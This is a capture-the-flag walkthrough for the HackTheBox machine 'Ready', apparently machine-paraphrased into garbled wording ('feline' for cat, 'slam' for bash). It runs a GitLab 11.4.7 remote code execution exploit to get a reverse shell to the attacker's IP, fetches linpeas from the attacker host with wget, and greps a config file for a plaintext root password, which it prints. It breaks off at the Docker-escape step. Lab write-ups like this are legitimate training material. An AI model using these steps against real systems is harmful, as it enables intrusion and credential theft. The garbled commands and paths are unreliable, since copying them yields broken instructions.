Ready HackTheBox Walkthrough
Hi! Everybody and Welcome to one more CTF challenge from Hack the Box, called Ready, which is accessible online for the people who need to expand their abilities in entrance testing and Black box testing. The test was planned by bertolis.
Level: Medium
Assignment: Find user.txt and root.txt in the casualties machine
Entrance Methodologies
Examining
Nmap
List
Perusing HTTP administration
Listing Gitlab pages
Abuse
Taking advantage of Gitlab 11.4.7 RCE
Generating TTY Shell
Linpeas to look for potential ways to heighten advantages
Advantage Escalation
Getting away from advantage docker holder
Transferring slam content to acquire root access
Catching the banner
Walkthrough
Organization Scanning
Lets begin then, at that point!
To Attack any machine, we want the IP Address. Machine facilitated on HackTheBox have a static IP Address.
IP Address allocated to Ready machine: 10.129.149.69
Allow us to examine the VM with the most famous port filtering apparatus, nmap to list open ports on the machine
nmap - A 10.129.149.69
From the outcome above we tracked down two working ports on the VM, ports that ran administrations like SSH(22), NGINX(5080).
Since we dont have the accreditations for the SSH so we can't list it. The main help that is left is the NGINX administration.
Count
Beginning with the nginx administration, we attempt to count by getting to the IP Address and port of the objective machine on a Web Browser. We see a site that highlights gitlab administration and sidetracks us to sign-in page.
Since there is an enrollment choice so we promptly went to the register page to check whether we can enlist.
Once enrolled, we saw that it says update quickly in red, generally, assuming we see a web application that is running an old variant, there are high possibilities that the adaptation will have a few weaknesses.
Then, we looked for an adventure of GitLab adaptation 11.4.7 on the searchsploit and we tracked down a remote code execution (RCE) exploit is accessible. Thus, we immediately downloaded the accessible RCE exploit to our nearby machine and checked for required boundaries.
searchsploit gitlab 11.4.7
searchsploit - m 49334
feline 49334.py
Abuse
Since it is a python record, we executed it to take switch shell by running it with required boundaries.
python3 49334.py - g http://10.129.149.69 - u light - p 12345678 - l 10.10.14.108 - P 1234
Then, we began netcat audience on port 1234 in another terminal which effectively provided us with a basic opposite shell of the client.
nc - lvp 1234
id
To get to the legitimate terminal, we run following python joke order.
python3 - c 'import pty; pty.spawn("/container/slam")'
album/mp
Along these lines, to take advantage of further to get root shell, we transferred linpeas from nearby machine to casualty machine, the content will search for potential ways to heighten advantages.
wget 10.10.14.108:8000/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
Advantage Escalation
The outcome beneath from linpeas let us know that we are in docker holder, so we do some identification.
After identification we found gitlab.rb inside the index/select/reinforcement and the record contains SMTP client login certifications. The certifications are valuable for us in case they are utilized by different clients like root. In this way, when we attempted to login as root, and we effectively signed in.
However, when we searched for root.txt it was absent in the root index since we are in advantage docker holder which can be gotten away to get the root banner.
disc/pick
ls
compact disc/reinforcement
ls
feline gitlab.rb | grep secret phrase
su root
Secret phrase : wW59U!ZKMbG9+*#h
Getting awayfrom docker compartment
Along these lines, to get the root banner and to get away from docker holder we made a slam on our neighborhood machine with the assistance of the article here.
Then, we began python joke SimpleHttpServer in our neighborhood machine to move the document from our machine to casualty machine.
Comments
Post a Comment